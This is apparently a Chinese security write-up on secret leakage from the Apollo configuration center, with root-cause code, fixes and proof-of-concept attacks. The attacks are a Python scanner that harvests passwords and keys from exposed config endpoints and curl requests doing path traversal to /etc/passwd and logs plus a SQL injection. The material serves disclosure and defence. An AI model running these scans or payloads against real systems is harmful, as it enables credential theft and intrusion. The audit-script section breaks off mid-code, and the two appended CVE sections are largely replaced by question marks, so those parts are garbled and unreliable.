一、漏洞简介¶
1.1 漏洞背景¶
配置中心的核心功能是存储和管理应用配置,这些配置往往包含数据库密码、API 密钥、加密私钥等高敏感信息。由于 API 设计和访问控制问题,这些信息可能被未授权读取。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | 暂无统一编号 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | 配置信息泄露 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | Apollo 配置中心 |
| 属性 | 详情 |
|---|---|
| CVE编号 | 无独立 CVE(组合漏洞) |
| 危害等级 | 严重 |
| CVSS评分 | 8.6 (High) |
| 漏洞类型 | 信息泄露 / Sensitive Data Exposure |
核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。
二、影响范围¶
2.1 受影响的版本¶
- Apollo 所有版本(取决于配置)
- 特别是未加密存储敏感配置的环境
2.2 不受影响的版本¶
- 启用配置加密的环境
- 严格配置访问控制的环境
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Config Service 直接暴露: 8080 端口可公网访问
- 配置未加密: 明文存储敏感信息
- 命名空间访问控制缺失: 未限制 namespace 访问权限
- 日志记录敏感信息: DEBUG 模式下记录配置内容
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
泄露路径:
1. Config API: /configs/{appId}/{clusterName}/{namespace}
2. Config File API: /configfiles/{appId}/{clusterName}/{namespace}
3. Release API: /releases/{releaseId}
4. Item API: /namespaces/{namespace}/items
5. 历史 API: /history/{appId}/{clusterName}/{namespace}
常见敏感配置项:
# 数据库连接
spring.datasource.url=jdbc:mysql://10.0.0.100:3306/prod_db
spring.datasource.username=prod_user
spring.datasource.password=Pr0d_P@ssw0rd!
# API 密钥
aliyun.accessKeyId=LTAI4xxxxxxxxxxxxx
aliyun.accessKeySecret=xxxxxxxxxxxxxxxxxxxxxxxx
wechat.appSecret=a1b2c3d4e5f6g7h8i9j0
# 加密密钥
jwt.secret=super-secret-jwt-key-123456
aes.encryption.key=16BytesSecretKey!
3.2 源码层面的根因分析(结合源码与补丁对比)¶
Config Service 返回逻辑:
// ConfigController.java
@GetMapping("/configs/{appId}/{clusterName}/{namespace}")
public Config getConfig(
@PathVariable String appId,
@PathVariable String clusterName,
@PathVariable String namespace) {
Config config = configService.loadConfig(appId, clusterName, namespace);
// 问题:直接返回明文配置,无脱敏处理
return config;
}
配置存储(数据库):
-- Item 表明文存储
CREATE TABLE `Item` (
`Id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`NamespaceId` int(10) unsigned NOT NULL,
`Key` varchar(128) NOT NULL,
`Value` varchar(2048) NOT NULL, -- 明文存储
`Comment` varchar(1024) DEFAULT '',
PRIMARY KEY (`Id`)
);
-- 示例数据
INSERT INTO Item VALUES (1, 100, 'db.password', 'MySecretP@ss', '数据库密码');
修复代码(加密存储):
// ItemService.java
public void addItem(Item item) {
String key = item.getKey().toLowerCase();
String value = item.getValue();
// 检测敏感配置并加密
if (isSensitiveKey(key)) {
value = encryptionService.encrypt(value);
item.setEncrypted(true);
}
item.setValue(value);
itemRepository.save(item);
}
private boolean isSensitiveKey(String key) {
String[] sensitivePatterns = {
"password", "secret", "key", "token",
"credential", "private", "apikey"
};
for (String pattern : sensitivePatterns) {
if (key.contains(pattern)) {
return true;
}
}
return false;
}
返回时的脱敏处理:
// ConfigController.java (修复后)
@GetMapping("/configs/{appId}/{clusterName}/{namespace}")
public Config getConfig(...) {
Config config = configService.loadConfig(appId, clusterName, namespace);
// 脱敏处理
Config sanitized = sanitizeConfig(config);
return sanitized;
}
private Config sanitizeConfig(Config config) {
for (Map.Entry<String, String> entry : config.getConfigurations().entrySet()) {
if (isSensitiveKey(entry.getKey())) {
entry.setValue("******"); // 或显示部分: "abc***xyz"
}
}
return config;
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
# docker-compose.yml
version: '3'
services:
apollo-mysql:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: root
volumes:
- ./sql:/docker-entrypoint-initdb.d
apollo-configservice:
image: apolloconfig/apollo-configservice:1.7.1
depends_on:
- apollo-mysql
ports:
- "8080:8080"
# 添加测试配置
setup:
image: curlimages/curl
depends_on:
- apollo-configservice
command: >
sh -c "sleep 30 && curl -X POST http://configservice:8080/apps/TestApp/clusters/default/namespaces/application/items
-H 'Content-Type: application/json' -d '{\"key\":\"db.password\",\"value\":\"SuperSecret123\"}'"
4.2 PoC 演示与测试过程¶
PoC 1: 枚举应用和命名空间
#!/usr/bin/env python3
import requests
def enumerate_configs(target):
# 常见应用 ID 模式
app_patterns = [
'SampleApp', 'Demo', 'Test', 'Production',
'user-service', 'order-service', 'payment-service',
'api-gateway', 'auth-service', 'notification-service'
]
# 常见命名空间
namespaces = [
'application', 'database', 'redis', 'mq',
'third-party', 'security', 'monitoring'
]
leaked = []
for app in app_patterns:
for ns in namespaces:
try:
url = f"http://{target}:8080/configs/{app}/default/{ns}"
r = requests.get(url, timeout=5)
if r.status_code == 200:
config = r.json()
print(f"[+] 发现配置: {app}/{ns}")
print(f" 配置项数量: {len(config.get('configurations', {}))}")
# 检查敏感配置
for key, value in config.get('configurations', {}).items():
if any(word in key.lower() for word in
['password', 'secret', 'key', 'token']):
leaked.append({
'app': app,
'namespace': ns,
'key': key,
'value': value[:50] + '...' if len(value) > 50 else value
})
except:
pass
return leaked
if __name__ == '__main__':
target = '192.168.1.100'
leaked = enumerate_configs(target)
print("\n" + "="*60)
print("敏感配置泄露列表:")
print("="*60)
for item in leaked:
print(f"{item['app']}/{item['namespace']}: {item['key']} = {item['value']}")
PoC 2: 配置历史泄露
# 获取配置发布历史(可能包含旧密码)
curl -s "http://target:8080/apps/SampleApp/clusters/default/namespaces/application/releases" | jq
# 响应示例
{
"releases": [
{
"releaseId": 1,
"configurations": {
"old.password": "PreviousPassword123", # 旧密码
"new.password": "CurrentPassword456"
},
"releasedBy": "admin",
"releaseTime": "2024-01-15T10:30:00"
}
]
}
PoC 3: 日志文件泄露
# 如果日志级别为 DEBUG,配置可能被记录
curl -s "http://target:8080/actuator/loggers" | jq
# 尝试访问日志文件
curl -s "http://target:8080/../../../logs/apollo-configservice.log"
# 日志中可能包含:
# 2024-01-20 10:15:23 DEBUG [ConfigService] - Loading config: db.password=SecretValue
PoC 4: 通过错误信息泄露
# 触发错误获取内部信息
curl -s "http://target:8080/configs/../../../etc/passwd/../../../test"
# SQL 注入尝试获取其他配置
curl -s "http://target:8080/configs/TestApp' UNION SELECT * FROM Item--/default/application"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
启用配置加密功能(Apollo ≥ 1.6.0):
# database-config.properties
jasypt.encryptor.password=${JASYPT_ENCRYPTOR_PASSWORD:default}
# 存储时使用 ENC() 包装
db.password=ENC(G6N718UuyPE5bHyWKyuLQSm02auQPUtm)
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案 1: 配置加密
// 使用 Jasypt 加密敏感配置
@Configuration
public class EncryptionConfig {
@Bean
public StringEncryptor stringEncryptor() {
PooledPBEStringEncryptor encryptor = new PooledPBEStringEncryptor();
SimpleStringPBEConfig config = new SimpleStringPBEConfig();
config.setPassword(System.getenv("ENCRYPTION_PASSWORD"));
config.setAlgorithm("PBEWithMD5AndDES");
config.setKeyObtentionIterations("1000");
config.setPoolSize("1");
config.setProviderName("SunJCE");
config.setSaltGeneratorClassName("org.jasypt.salt.RandomSaltGenerator");
config.setStringOutputType("base64");
encryptor.setConfig(config);
return encryptor;
}
}
方案 2: 命名空间访问控制
// 自定义拦截器
@Component
public class NamespaceAccessInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) {
String namespace = extractNamespace(request);
// 敏感命名空间需要特殊权限
if (isSensitiveNamespace(namespace)) {
if (!hasPermission(request)) {
response.setStatus(403);
return false;
}
}
return true;
}
private boolean isSensitiveNamespace(String namespace) {
return namespace.matches(".*(secret|security|private).*");
}
}
方案 3: 日志脱敏
<!-- logback-spring.xml -->
<configuration>
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>
</encoder>
</appender>
<!-- 配置相关日志仅记录 INFO 级别 -->
<logger name="com.ctrip.framework.apollo.configservice" level="INFO"/>
<!-- 完全禁止记录配置内容 -->
<logger name="com.ctrip.framework.apollo.configservice.ConfigController" level="WARN"/>
</configuration>
方案 4: 网络隔离
# Kubernetes NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: config-service-policy
spec:
podSelector:
matchLabels:
app: apollo-configservice
policyTypes:
- Ingress
ingress:
- from:
# 仅允许应用 Pod 访问
- podSelector:
matchLabels:
type: application
# 不允许直接从外部访问
ports:
- protocol: TCP
port: 8080
方案 5: 定期审计脚本
```python
!/usr/bin/env python3¶
import requests import re
def audit_sensitive_configs(target): sensitive_patterns = [ r'password', r'secret', r'key.=.[
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- 暂未找到可直接引用的官方安全通告,请优先关注项目安全公告、发布说明与修复分支。
6.2 其他技术参考资料¶
- http://configservice:8080/apps/TestApp/clusters/default/namespaces/application/items
- http://{target}:8080/configs/{app}/default/{ns}"
- http://target:8080/apps/SampleApp/clusters/default/namespaces/application/releases"
- http://target:8080/actuator/loggers"
- http://target:8080/../../../logs/apollo-configservice.log"
- http://target:8080/configs/../../../etc/passwd/../../../test"
- http://target:8080/configs/TestApp'
Apollo ???? ???????CVE-2019-10686?¶
??????¶
1.1 ????¶
Apollo ???? ???????????? CVE-2019-10686 ??????????????????????? CRITICAL?CVSS 10.0?
1.2 ??????? CVE ???????????????????¶
| ?? | ?? |
|---|---|
| ???? | CVE-2019-10686 |
| ???? | CRITICAL |
| CVSS ?? | 10.0 |
| ???? | CWE-918 |
| ???? | 2019-04-01 |
| ???? | Apollo ???? |
??????¶
2.1 ??????¶
ctrip:apollo:*, <= 1.3.0
2.2 ???????¶
- NVD / CISA ????????????????????????????????????????
2.3 ????????????????????????¶
- ????????????????????????
- ?????????????????????????????????????
???????????¶
3.1 ??????¶
- NVD ?????An SSRF vulnerability was found in an API from Ctrip Apollo through 1.4.0-SNAPSHOT. An attacker may use it to do an intranet port scan or raise a GET request via /system-info/health because the %23 substring is mishandled.
- ??????????????????????????? PoC ???
3.2 ????????????????????¶
- ?????????????CWE-918?
- NVD / CISA ???????????? diff???????????????????????????????
??????????¶
4.1 ????¶
- ??????????????????????????????????????????
4.2 PoC ???????¶
- ? CISA KEV ????????????????? KEV ????? PoC?
- ??????????????????????????????????????????
???????????¶
5.1 ????????¶
- ???????????????????????????
- ??????????????????????????????????????
5.2 ????????????????????????????¶
- ??????????????????????
- ???????????????????????? WAF ???
- ????????????????????????????
?????? / ????¶
- https://nvd.nist.gov/vuln/detail/CVE-2019-10686
- https://www.cve.org/CVERecord?id=CVE-2019-10686
- https://github.com/ctripcorp/apollo/issues/2103
Apollo ???? ???????CVE-2020-15170?¶
??????¶
1.1 ????¶
Apollo ???? ???????????? CVE-2020-15170 ??????????????????????? HIGH?CVSS 7.0?
1.2 ??????? CVE ???????????????????¶
| ?? | ?? |
|---|---|
| ???? | CVE-2020-15170 |
| ???? | HIGH |
| CVSS ?? | 7.0 |
| ???? | CWE-20?NVD-CWE-Other |
| ???? | 2020-09-10 |
| ???? | Apollo ???? |
??????¶
2.1 ??????¶
ctrip:apollo:*, < 1.7.1
2.2 ???????¶
- NVD / CISA ????????????????????????????????????????
2.3 ????????????????????????¶
- ????????????????????????
- ?????????????????????????????????????
???????????¶
3.1 ??????¶
- NVD ?????apollo-adminservice before version 1.7.1 does not implement access controls. If users expose apollo-adminservice to internet(which is not recommended), there are potential security issues since apollo-adminservice is designed to work in intranet and it doesn't have access control built-in. Malicious hackers may acce...
- ??????????????????????????? PoC ???
3.2 ????????????????????¶
- ?????????????CWE-20?NVD-CWE-Other?
- NVD / CISA ???????????? diff???????????????????????????????
??????????¶
4.1 ????¶
- ??????????????????????????????????????????
4.2 PoC ???????¶
- ? CISA KEV ????????????????? KEV ????? PoC?
- ??????????????????????????????????????????
???????????¶
5.1 ????????¶
- ???????????????????????????
- ??????????????????????????????????????
5.2 ????????????????????????????¶
- ??????????????????????
- ???????????????????????? WAF ???
- ????????????????????????????
?????? / ????¶
- https://nvd.nist.gov/vuln/detail/CVE-2020-15170
- https://www.cve.org/CVERecord?id=CVE-2020-15170
- https://github.com/ctripcorp/apollo/pull/3233/commits/ae9ba6cfd32ed80469f162e5e3583e2477862ddf
- https://github.com/ctripcorp/apollo/security/advisories/GHSA-xpmx-h7xq-xffh